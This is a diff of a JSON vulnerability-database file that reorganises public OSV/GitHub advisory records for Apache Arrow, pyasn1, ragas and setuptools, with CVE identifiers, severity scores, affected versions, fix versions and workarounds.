"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-rgxp-2hwp-jwgg/GHSA-rgxp-2hwp-jwgg.json" - } + ] } ], - "references": [ - { - "type": "ADVISORY", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25087" - }, - { - "type": "WEB", - "url": "https://github.com/apache/arrow/pull/48925" + "aliases": [ + "CVE-2026-25087", + "PYSEC-2026-113" + ], + "database_specific": { + "cwe_ids": [ + "CWE-416" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-06-05T21:39:35Z", + "nvd_published_at": "2026-02-17T14:16:01Z", + "severity": "HIGH" + }, + "details": "Use After Free vulnerability in Apache Arrow C++.\n\nThis issue affects Apache Arrow C++ from 15.0.0 through 23.0.0. It can be triggered when reading an Arrow IPC file (but not an IPC stream) with pre-buffering enabled, if the IPC file contains data with variadic buffers (such as Binary View and String View data). Depending on the number of variadic buffers in a record batch column and on the temporal sequence of multi-threaded IO, a write to a dangling pointer could occur. The value (a `std::shared_ptr` object)\u00a0that is written to the dangling pointer is not under direct control of the attacker.\n\nPre-buffering is disabled by default but can be enabled using a specific C++ API call (`RecordBatchFileReader::PreBufferMetadata`). The functionality is not exposed in language bindings (Python, Ruby, C GLib), so these bindings are not vulnerable.\n\nThe most likely consequence of this issue would be random crashes or memory corruption when reading specific kinds of IPC files. If the application allows ingesting IPC files from untrusted sources, this could plausibly be exploited for denial of service. Inducing more targeted kinds of misbehavior (such as confidential data extraction from the running process) depends on memory allocation and multi-threaded IO temporal patterns that are unlikely to be easily controlled by an attacker.\n\nAdvice for users of Arrow C++:\n\n1. check whether you enable pre-buffering on the IPC file reader (using\u00a0`RecordBatchFileReader::PreBufferMetadata`)\n\n2. if so, either disable pre-buffering (which may have adverse performance consequences), or switch to Arrow 23.0.1 which is not vulnerable", + "id": "GHSA-rgxp-2hwp-jwgg", + "modified": "2026-06-12T10:29:15.451071539Z", + "published": "2026-02-17T15:31:35Z", + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25087" + }, + { + "type": "WEB", + "url": "https://github.com/apache/arrow/pull/48925" }, { "type": "PACKAGE", @@ -3792,33 +3881,18 @@ "url": "http://www.openwall.com/lists/oss-security/2026/02/17/4" } ], - "database_specific": { - "cwe_ids": [ - "CWE-416" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-06-05T21:39:35Z", - "nvd_published_at": "2026-02-17T14:16:01Z", - "severity": "HIGH" - } - } - ], - "groups": [ - { - "ids": [ - "PYSEC-2026-113", - "GHSA-rgxp-2hwp-jwgg" + "related": [ + "CGA-4vwc-3x55-4m28" ], - "aliases": [ - "CVE-2026-25087", - "GHSA-rgxp-2hwp-jwgg", - "PYSEC-2026-113" + "schema_version": "1.7.5", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H", + "type": "CVSS_V3" + } ], - "max_severity": "7.0" + "summary": "Apache Arrow: Potential use-after-free when reading IPC file with pre-buffering" } - ], - "licenses": [ - "non-standard" ] }, { @@ -3827,25 +3901,154 @@ "version": "0.6.3", "ecosystem": "PyPI" }, + "groups": [ + { + "ids": [ + "PYSEC-2026-3455" + ], + "aliases": [ + "CVE-2026-59884", + "GHSA-m4p7-r5rc-7g4j", + "PYSEC-2026-3455" + ], + "max_severity": "7.5" + }, + { + "ids": [ + "PYSEC-2026-3456", + "GHSA-8ppf-4f7h-5ppj" + ], + "aliases": [ + "CVE-2026-59885", + "GHSA-8ppf-4f7h-5ppj", + "PYSEC-2026-3456" + ], + "max_severity": "7.5" + }, + { + "ids": [ + "PYSEC-2026-3457", + "GHSA-hm4w-wwcw-mr6r" + ], + "aliases": [ + "CVE-2026-59886", + "GHSA-hm4w-wwcw-mr6r", + "PYSEC-2026-3457" + ], + "max_severity": "7.5" + } + ], + "licenses": [ + "BSD-2-Clause" + ], "vulnerabilities": [ { - "modified": "2026-07-21T19:15:32Z", - "published": "2026-07-21T19:11:03Z", - "schema_version": "1.7.5", - "id": "GHSA-8ppf-4f7h-5ppj", + "affected": [ + { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pyasn1/PYSEC-2026-3455.yaml" + }, + "ecosystem_specific": {}, + "package": { + "ecosystem": "PyPI", + "name": "pyasn1", + "purl": "pkg:pypi/pyasn1" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.6.4" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.0.10a", + "0.0.11a", + "0.0.12a", + "0.0.13", + "0.0.13a", + "0.0.13b", + "0.0.6a", + "0.0.9a", + "0.1.1", + "0.1.2", + "0.1.3", + "0.1.4", + "0.1.5", + "0.1.6", + "0.1.7", + "0.1.8", + "0.1.9", + "0.2.1", + "0.2.2", + "0.2.3", + "0.3.1", + "0.3.2", + "0.3.3", + "0.3.4", + "0.3.5", + "0.3.6", + "0.3.7", + "0.4.1", + "0.4.2", + "0.4.3", + "0.4.4", + "0.4.5", + "0.4.6", + "0.4.7", + "0.4.8", + "0.5.0", + "0.5.1", + "0.6.0", + "0.6.1", + "0.6.2", + "0.6.3" + ] + } + ], "aliases": [ - "CVE-2026-59885" + "CVE-2026-59884", + "GHSA-m4p7-r5rc-7g4j" ], - "summary": "pyasn1: Quadratic complexity in OBJECT IDENTIFIER and RELATIVE-OID processing allows denial of service", - "details": "### Impact\nThe BER/CER/DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload (tens of kilobytes) containing an OID with many arcs consumes seconds of CPU per decode() call, allowing denial of service in any application that decodes untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos, etc.). The corresponding encoders have the same quadratic behavior, reachable when an application re-encodes previously decoded attacker-supplied values.\n\nThe arc-size limit introduced for CVE-2026-23490 bounds the byte length of an individual arc but not the number of arcs, so it does not mitigate this issue.\n\n### Affected components\nObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py; ObjectIdentifierEncoder and RelativeOIDEncoder in pyasn1/codec/ber/encoder.py. The CER and DER codecs inherit these and are equally affected.\n\n### Patches\nFixed in pyasn1 0.6.4: arc accumulation in both decoders and encoders now runs in linear time.\n\n### Workarounds\nLimit the size of untrusted ASN.1 input before decoding.", - "severity": [ + "details": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER decoder shared by the CER and DER codecs parses long-form tags by accumulating continuation octets without an upper bound on the tag ID size, allowing a crafted input to force construction of an arbitrarily large integer with CPU cost growing quadratically and to trigger unhandled ValueError exceptions in Python 3.11+ error formatting paths. Any application decoding untrusted BER, CER, or DER input is affected. This issue is fixed in version 0.6.4.", + "id": "PYSEC-2026-3455", + "modified": "2026-07-22T11:00:08.839373736Z", + "published": "2026-07-14T17:17:14.750Z", + "references": [ + { + "type": "ADVISORY", + "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4" + }, + { + "type": "ADVISORY", + "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-m4p7-r5rc-7g4j" + }, { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + "type": "FIX", + "url": "https://github.com/pyasn1/pyasn1/commit/628e36ecbb5277a3f01572ce418ef54271b165a5" } ], + "schema_version": "1.7.5", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", + "type": "CVSS_V3" + } + ] + }, + { "affected": [ { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pyasn1/PYSEC-2026-3456.yaml" + }, + "ecosystem_specific": {}, "package": { "ecosystem": "PyPI", "name": "pyasn1", @@ -3853,7 +4056,6 @@ }, "ranges": [ { - "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -3861,7 +4063,8 @@ { "fixed": "0.6.4" } - ] + ], + "type": "ECOSYSTEM" } ], "versions": [ @@ -3906,13 +4109,227 @@ "0.6.1", "0.6.2", "0.6.3" + ] + } + ], + "aliases": [ + "CVE-2026-59885", + "GHSA-8ppf-4f7h-5ppj" + ], + "details": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER, CER, and DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs, so a small crafted payload containing an OID with many arcs consumes excessive CPU per decode() call and can deny service to applications that decode untrusted ASN.1 data. The corresponding encoders have the same quadratic behavior when an application re-encodes previously decoded attacker-supplied values. This issue is fixed in version 0.6.4.", + "id": "PYSEC-2026-3456", + "modified": "2026-07-22T11:00:08.814095424Z", + "published": "2026-07-14T17:17:14.880Z", + "references": [ + { + "type": "ADVISORY", + "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4" + }, + { + "type": "ADVISORY", + "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-8ppf-4f7h-5ppj" + }, + { + "type": "FIX", + "url": "https://github.com/pyasn1/pyasn1/commit/45bdb19eb7df4b3780fe9c912c63e99bffc39dd9" + } + ], + "schema_version": "1.7.5", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", + "type": "CVSS_V3" + } + ] + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pyasn1/PYSEC-2026-3457.yaml" + }, + "ecosystem_specific": {}, + "package": { + "ecosystem": "PyPI", + "name": "pyasn1", + "purl": "pkg:pypi/pyasn1" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.6.4" + } + ], + "type": "ECOSYSTEM" + } ], + "versions": [ + "0.0.10a", + "0.0.11a", + "0.0.12a", + "0.0.13", + "0.0.13a", + "0.0.13b", + "0.0.6a", + "0.0.9a", + "0.1.1", + "0.1.2", + "0.1.3", + "0.1.4", + "0.1.5", + "0.1.6", + "0.1.7", + "0.1.8", + "0.1.9", + "0.2.1", + "0.2.2", + "0.2.3", + "0.3.1", + "0.3.2", + "0.3.3", + "0.3.4", + "0.3.5", + "0.3.6", + "0.3.7", + "0.4.1", + "0.4.2", + "0.4.3", + "0.4.4", + "0.4.5", + "0.4.6", + "0.4.7", + "0.4.8", + "0.5.0", + "0.5.1", + "0.6.0", + "0.6.1", + "0.6.2", + "0.6.3" + ] + } + ], + "aliases": [ + "CVE-2026-59886", + "GHSA-hm4w-wwcw-mr6r" + ], + "details": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the univ.Real type converted its mantissa, base, and exponent value to a Python float using exact big-integer exponentiation. A BER, CER, or DER encoded REAL value only a few bytes long can carry a very large exponent, causing float conversion through prettyPrint(), str(), comparison, arithmetic, int(), or an explicit float() call to consume excessive CPU and memory and hang applications that decode untrusted ASN.1 data and then print, log, or compare decoded objects. This issue is fixed in version 0.6.4.", + "id": "PYSEC-2026-3457", + "modified": "2026-07-22T11:00:08.839691351Z", + "published": "2026-07-14T17:17:15.010Z", + "references": [ + { + "type": "ADVISORY", + "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4" + }, + { + "type": "ADVISORY", + "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-hm4w-wwcw-mr6r" + }, + { + "type": "FIX", + "url": "https://github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886" + } + ], + "schema_version": "1.7.5", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", + "type": "CVSS_V3" + } + ] + }, + { + "affected": [ + { "database_specific": { "last_known_affected_version_range": "<= 0.6.3", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-8ppf-4f7h-5ppj/GHSA-8ppf-4f7h-5ppj.json" - } + }, + "package": { + "ecosystem": "PyPI", + "name": "pyasn1", + "purl": "pkg:pypi/pyasn1" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.6.4" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.0.10a", + "0.0.11a", + "0.0.12a", + "0.0.13", + "0.0.13a", + "0.0.13b", + "0.0.6a", + "0.0.9a", + "0.1.1", + "0.1.2", + "0.1.3", + "0.1.4", + "0.1.5", + "0.1.6", + "0.1.7", + "0.1.8", + "0.1.9", + "0.2.1", + "0.2.2", + "0.2.3", + "0.3.1", + "0.3.2", + "0.3.3", + "0.3.4", + "0.3.5", + "0.3.6", + "0.3.7", + "0.4.1", + "0.4.2", + "0.4.3", + "0.4.4", + "0.4.5", + "0.4.6", + "0.4.7", + "0.4.8", + "0.5.0", + "0.5.1", + "0.6.0", + "0.6.1", + "0.6.2", + "0.6.3" + ] } ], + "aliases": [ + "CVE-2026-59885", + "PYSEC-2026-3456" + ], + "database_specific": { + "cwe_ids": [ + "CWE-400", + "CWE-407" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-21T19:11:03Z", + "nvd_published_at": "2026-07-14T17:17:14Z", + "severity": "HIGH" + }, + "details": "### Impact\nThe BER/CER/DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload (tens of kilobytes) containing an OID with many arcs consumes seconds of CPU per decode() call, allowing denial of service in any application that decodes untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos, etc.). The corresponding encoders have the same quadratic behavior, reachable when an application re-encodes previously decoded attacker-supplied values.\n\nThe arc-size limit introduced for CVE-2026-23490 bounds the byte length of an individual arc but not the number of arcs, so it does not mitigate this issue.\n\n### Affected components\nObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py; ObjectIdentifierEncoder and RelativeOIDEncoder in pyasn1/codec/ber/encoder.py. The CER and DER codecs inherit these and are equally affected.\n\n### Patches\nFixed in pyasn1 0.6.4: arc accumulation in both decoders and encoders now runs in linear time.\n\n### Workarounds\nLimit the size of untrusted ASN.1 input before decoding.", + "id": "GHSA-8ppf-4f7h-5ppj", + "modified": "2026-07-22T11:11:16.942605742Z", + "published": "2026-07-21T19:11:03Z", "references": [ { "type": "WEB", @@ -3935,35 +4352,22 @@ "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4" } ], - "database_specific": { - "cwe_ids": [ - "CWE-400", - "CWE-407" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-07-21T19:11:03Z", - "nvd_published_at": "2026-07-14T17:17:14Z", - "severity": "HIGH" - } - }, - { - "modified": "2026-07-21T19:15:32Z", - "published": "2026-07-21T19:11:20Z", "schema_version": "1.7.5", - "id": "GHSA-hm4w-wwcw-mr6r", - "aliases": [ - "CVE-2026-59886" - ], - "summary": "pyasn1: Uncontrolled resource consumption when converting decoded REAL values", - "details": "### Impact\nThe univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.\n\nAny operation that triggers float conversion on such a decoded value \u2014 prettyPrint(), str(), comparison, arithmetic, or an explicit float() call \u2014 consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.\n\n### Affected components\n- pyasn1.type.univ.Real \u2014 float conversion (__float__() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int())\n- Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values\n\nThe encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.\n\n### Patches\nFixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as .\n\n### Workarounds\nAvoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.", "severity": [ { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", + "type": "CVSS_V3" } ], + "summary": "pyasn1: Quadratic complexity in OBJECT IDENTIFIER and RELATIVE-OID processing allows denial of service" + }, + { "affected": [ { + "database_specific": { + "last_known_affected_version_range": "<= 0.6.3", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-hm4w-wwcw-mr6r/GHSA-hm4w-wwcw-mr6r.json" + }, "package": { "ecosystem": "PyPI", "name": "pyasn1", @@ -3971,7 +4375,6 @@ }, "ranges": [ { - "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -3979,7 +4382,8 @@ { "fixed": "0.6.4" } - ] + ], + "type": "ECOSYSTEM" } ], "versions": [ @@ -4024,13 +4428,26 @@ "0.6.1", "0.6.2", "0.6.3" - ], - "database_specific": { - "last_known_affected_version_range": "<= 0.6.3", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-hm4w-wwcw-mr6r/GHSA-hm4w-wwcw-mr6r.json" - } + ] } ], + "aliases": [ + "CVE-2026-59886", + "PYSEC-2026-3457" + ], + "database_specific": { + "cwe_ids": [ + "CWE-400" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-21T19:11:20Z", + "nvd_published_at": "2026-07-14T17:17:15Z", + "severity": "HIGH" + }, + "details": "### Impact\nThe univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.\n\nAny operation that triggers float conversion on such a decoded value \u2014 prettyPrint(), str(), comparison, arithmetic, or an explicit float() call \u2014 consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.\n\n### Affected components\n- pyasn1.type.univ.Real \u2014 float conversion (__float__() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int())\n- Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values\n\nThe encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.\n\n### Patches\nFixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as .\n\n### Workarounds\nAvoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.", + "id": "GHSA-hm4w-wwcw-mr6r", + "modified": "2026-07-22T11:11:16.518263592Z", + "published": "2026-07-21T19:11:20Z", "references": [ { "type": "WEB", @@ -4053,41 +4470,15 @@ "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4" } ], - "database_specific": { - "cwe_ids": [ - "CWE-400" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-07-21T19:11:20Z", - "nvd_published_at": "2026-07-14T17:17:15Z", - "severity": "HIGH" - } - } - ], - "groups": [ - { - "ids": [ - "GHSA-8ppf-4f7h-5ppj" - ], - "aliases": [ - "CVE-2026-59885", - "GHSA-8ppf-4f7h-5ppj" - ], - "max_severity": "7.5" - }, - { - "ids": [ - "GHSA-hm4w-wwcw-mr6r" - ], - "aliases": [ - "CVE-2026-59886", - "GHSA-hm4w-wwcw-mr6r" + "schema_version": "1.7.5", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", + "type": "CVSS_V3" + } ], - "max_severity": "7.5" + "summary": "pyasn1: Uncontrolled resource consumption when converting decoded REAL values" } - ], - "licenses": [ - "BSD-2-Clause" ] }, { @@ -4276,30 +4667,30 @@ "version": "0.4.3", "ecosystem": "PyPI" }, - "vulnerabilities": [ + "groups": [ { - "modified": "2026-07-13T16:32:43Z", - "published": "2026-07-13T15:02:51Z", - "schema_version": "1.7.5", - "id": "PYSEC-2026-3046", - "aliases": [ - "CVE-2026-6587", + "ids": [ + "PYSEC-2026-3046", "GHSA-95ww-475f-pr4f" ], - "summary": "RAGAS has SSRF via Multi-Modal Faithfulness Collections Module", - "details": "A security flaw has been discovered in vibrantlabsai RAGAS up to 0.4.3. The affected element is the function _try_process_local_file/_try_process_url of the file src/ragas/metrics/collections/multi_modal_faithfulness/util.py of the component Collections Module. Performing a manipulation of the argument retrieved_contexts results in server-side request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The security patch for CVE-2025-45691 was applied to a different module only. The vendor was contacted early about this disclosure but did not respond in any way.", - "severity": [ - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L" - }, - { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P" - } + "aliases": [ + "CVE-2026-6587", + "GHSA-95ww-475f-pr4f", + "PYSEC-2026-3046" ], + "max_severity": "6.3" + } + ], + "licenses": [ + "non-standard" + ], + "vulnerabilities": [ + { "affected": [ { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/ragas/PYSEC-2026-3046.yaml" + }, "package": { "ecosystem": "PyPI", "name": "ragas", @@ -4307,7 +4698,6 @@ }, "ranges": [ { - "type": "ECOSYSTEM", "events": [ { "introduced": "0.2.3" @@ -4315,7 +4705,8 @@ { "last_affected": "0.4.3" } - ] + ], + "type": "ECOSYSTEM" } ], "versions": [ @@ -4353,12 +4744,17 @@ "0.4.1", "0.4.2", "0.4.3" - ], - "database_specific": { - "source": "https://github.com/pypa/advisory-database/blob/main/vulns/ragas/PYSEC-2026-3046.yaml" - } + ] } ], + "aliases": [ + "CVE-2026-6587", + "GHSA-95ww-475f-pr4f" + ], + "details": "A security flaw has been discovered in vibrantlabsai RAGAS up to 0.4.3. The affected element is the function _try_process_local_file/_try_process_url of the file src/ragas/metrics/collections/multi_modal_faithfulness/util.py of the component Collections Module. Performing a manipulation of the argument retrieved_contexts results in server-side request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The security patch for CVE-2025-45691 was applied to a different module only. The vendor was contacted early about this disclosure but did not respond in any way.", + "id": "PYSEC-2026-3046", + "modified": "2026-07-13T16:32:43.987086677Z", + "published": "2026-07-13T15:02:51.237201Z", "references": [ { "type": "ADVISORY", @@ -4392,31 +4788,26 @@ "type": "ADVISORY", "url": "https://github.com/advisories/GHSA-95ww-475f-pr4f" } - ] - }, - { - "modified": "2026-07-13T16:42:34Z", - "published": "2026-04-20T00:30:13Z", - "schema_version": "1.7.5", - "id": "GHSA-95ww-475f-pr4f", - "aliases": [ - "CVE-2026-6587", - "PYSEC-2026-3046" ], - "summary": "RAGAS has SSRF via Multi-Modal Faithfulness Collections Module", - "details": "A security flaw has been discovered in vibrantlabsai RAGAS up to 0.4.3. The affected element is the function _try_process_local_file/_try_process_url of the file src/ragas/metrics/collections/multi_modal_faithfulness/util.py of the component Collections Module. Performing a manipulation of the argument retrieved_contexts results in server-side request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The security patch for CVE-2025-45691 was applied to a different module only. The vendor was contacted early about this disclosure but did not respond in any way.", + "schema_version": "1.7.5", "severity": [ { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L" + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", + "type": "CVSS_V3" }, { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P" + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P", + "type": "CVSS_V4" } ], + "summary": "RAGAS has SSRF via Multi-Modal Faithfulness Collections Module" + }, + { "affected": [ { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-95ww-475f-pr4f/GHSA-95ww-475f-pr4f.json" + }, "package": { "ecosystem": "PyPI", "name": "ragas", @@ -4424,7 +4815,6 @@ }, "ranges": [ { - "type": "ECOSYSTEM", "events": [ { "introduced": "0.2.3" @@ -4432,7 +4822,8 @@ { "last_affected": "0.4.3" } - ] + ], + "type": "ECOSYSTEM" } ], "versions": [ @@ -4470,12 +4861,26 @@ "0.4.1", "0.4.2", "0.4.3" - ], - "database_specific": { - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-95ww-475f-pr4f/GHSA-95ww-475f-pr4f.json" - } + ] } ], + "aliases": [ + "CVE-2026-6587", + "PYSEC-2026-3046" + ], + "database_specific": { + "cwe_ids": [ + "CWE-918" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T22:02:02Z", + "nvd_published_at": "2026-04-20T00:16:34Z", + "severity": "LOW" + }, + "details": "A security flaw has been discovered in vibrantlabsai RAGAS up to 0.4.3. The affected element is the function _try_process_local_file/_try_process_url of the file src/ragas/metrics/collections/multi_modal_faithfulness/util.py of the component Collections Module. Performing a manipulation of the argument retrieved_contexts results in server-side request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The security patch for CVE-2025-45691 was applied to a different module only. The vendor was contacted early about this disclosure but did not respond in any way.", + "id": "GHSA-95ww-475f-pr4f", + "modified": "2026-07-13T16:42:34.978083453Z", + "published": "2026-04-20T00:30:13Z", "references": [ { "type": "ADVISORY", @@ -4502,33 +4907,19 @@ "url": "https://vuldb.com/vuln/358222/cti" } ], - "database_specific": { - "cwe_ids": [ - "CWE-918" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-04-22T22:02:02Z", - "nvd_published_at": "2026-04-20T00:16:34Z", - "severity": "LOW" - } - } - ], - "groups": [ - { - "ids": [ - "PYSEC-2026-3046", - "GHSA-95ww-475f-pr4f" - ], - "aliases": [ - "CVE-2026-6587", - "GHSA-95ww-475f-pr4f", - "PYSEC-2026-3046" + "schema_version": "1.7.5", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", + "type": "CVSS_V3" + }, + { + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P", + "type": "CVSS_V4" + } ], - "max_severity": "6.3" + "summary": "RAGAS has SSRF via Multi-Modal Faithfulness Collections Module" } - ], - "licenses": [ - "non-standard" ] }, { @@ -4737,26 +5128,32 @@ "version": "82.0.1", "ecosystem": "PyPI" }, - "vulnerabilities": [ + "groups": [ { - "modified": "2026-07-14T10:56:37Z", - "published": "2026-07-08T17:17:27Z", - "schema_version": "1.7.5", - "id": "PYSEC-2026-3447", + "ids": [ + "PYSEC-2026-3447", + "GHSA-h35f-9h28-mq5c" + ], "aliases": [ "BIT-setuptools-2026-59890", "CVE-2026-59890", - "GHSA-h35f-9h28-mq5c" - ], - "details": "setuptools is a package that allows users to download, build, install, upgrade, and uninstall Python packages. Prior to 83.0.0, FileList applied MANIFEST.in exclude, global-exclude, recursive-exclude, and prune directives by matching compiled glob patterns against on-disk file names without Unicode normalization, so on macOS APFS or HFS+ an NFD file name could bypass an NFC exclusion rule and be packed into a source distribution. This issue is fixed in version 83.0.0.", - "severity": [ - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N" - } + "GHSA-h35f-9h28-mq5c", + "PYSEC-2026-3447" ], + "max_severity": "6.1" + } + ], + "licenses": [ + "MIT" + ], + "vulnerabilities": [ + { "affected": [ { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/setuptools/PYSEC-2026-3447.yaml" + }, + "ecosystem_specific": {}, "package": { "ecosystem": "PyPI", "name": "setuptools", @@ -4764,7 +5161,6 @@ }, "ranges": [ { - "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -4772,7 +5168,8 @@ { "fixed": "83.0.0" } - ] + ], + "type": "ECOSYSTEM" } ], "versions": [ @@ -5399,12 +5796,18 @@ "9.0", "9.0.1", "9.1" - ], - "database_specific": { - "source": "https://github.com/pypa/advisory-database/blob/main/vulns/setuptools/PYSEC-2026-3447.yaml" - } + ] } ], + "aliases": [ + "BIT-setuptools-2026-59890", + "CVE-2026-59890", + "GHSA-h35f-9h28-mq5c" + ], + "details": "setuptools is a package that allows users to download, build, install, upgrade, and uninstall Python packages. Prior to 83.0.0, FileList applied MANIFEST.in exclude, global-exclude, recursive-exclude, and prune directives by matching compiled glob patterns against on-disk file names without Unicode normalization, so on macOS APFS or HFS+ an NFD file name could bypass an NFC exclusion rule and be packed into a source distribution. This issue is fixed in version 83.0.0.", + "id": "PYSEC-2026-3447", + "modified": "2026-07-14T10:56:37.948360943Z", + "published": "2026-07-08T17:17:27.020Z", "references": [ { "type": "ADVISORY", @@ -5418,28 +5821,21 @@ "type": "EVIDENCE", "url": "https://github.com/pypa/setuptools/security/advisories/GHSA-h35f-9h28-mq5c" } - ] - }, - { - "modified": "2026-07-21T19:15:32Z", - "published": "2026-07-21T19:09:21Z", - "schema_version": "1.7.5", - "id": "GHSA-h35f-9h28-mq5c", - "aliases": [ - "BIT-setuptools-2026-59890", - "CVE-2026-59890", - "PYSEC-2026-3447" ], - "summary": 